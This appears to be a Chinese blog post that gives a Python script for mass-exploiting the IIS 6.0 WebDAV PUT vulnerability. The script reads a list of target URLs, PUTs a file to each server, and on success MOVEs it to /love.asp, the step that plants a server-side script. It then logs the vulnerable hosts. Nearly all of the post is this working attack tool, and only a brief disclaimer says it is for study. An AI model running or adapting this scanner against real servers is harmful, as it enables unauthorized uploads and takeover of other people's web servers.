zoukankan      html  css  js  c++  java
  • IISPUT 批量脚本的编写

    import requests
    import re
    import sys
    
    header = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
    }
    header1 = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
        "Destination":"/love.asp",
        }
    body='whoami'
    def OKtxt(str):
        with open("OKIIS.txt",'a') as b:
            b.write(str)
    def OKurl(url):
        try:
            r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
            print(r.status_code)
            if r.status_code == 200:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                
                print("===========have no IIS6.0 PUT ===========")
            elif r.status_code == 201:
                print("===========        GOOD       ===========")
                print("===========   git it          ===========")
                r=requests.move(url=url+'/love.txt',headers=header1,timeout=10)
                OKtxt(url+"
    ")
            elif r.status_code == 204:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("===========GOOD===========")
            else:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("=========== byby ===========")
        except:
           print("===========badly===========")
    f =open("url.txt",'r')
    i=0
    urllist=f.readlines()
    for url in urllist:
        if len(url)>2:
            OKurl(url)
        else:
            print("========  OVer ========")
            
    
                
    

    此脚本仅仅用于学习参考 切勿用于一切非法用途

     一切后果与本人不管

     且勿违反法律道德,后果自负

  • 相关阅读:
    Android连载7-动语添加碎片
    JavaScript连载6-转化为Number和Boolean类型、运算符
    Java连载111-timer定时器、反射机制概述
    用conda创建虚拟环境的一些常用命令
    Java内存分析
    Java语言中的Class类
    线程协作
    LeetCode刷题笔记第26题
    LeetCode刷题笔记第20题(括号匹配)
    LeetCode刷提笔记第1332题
  • 原文地址:https://www.cnblogs.com/-zhong/p/11737010.html
Copyright © 2011-2022 走看看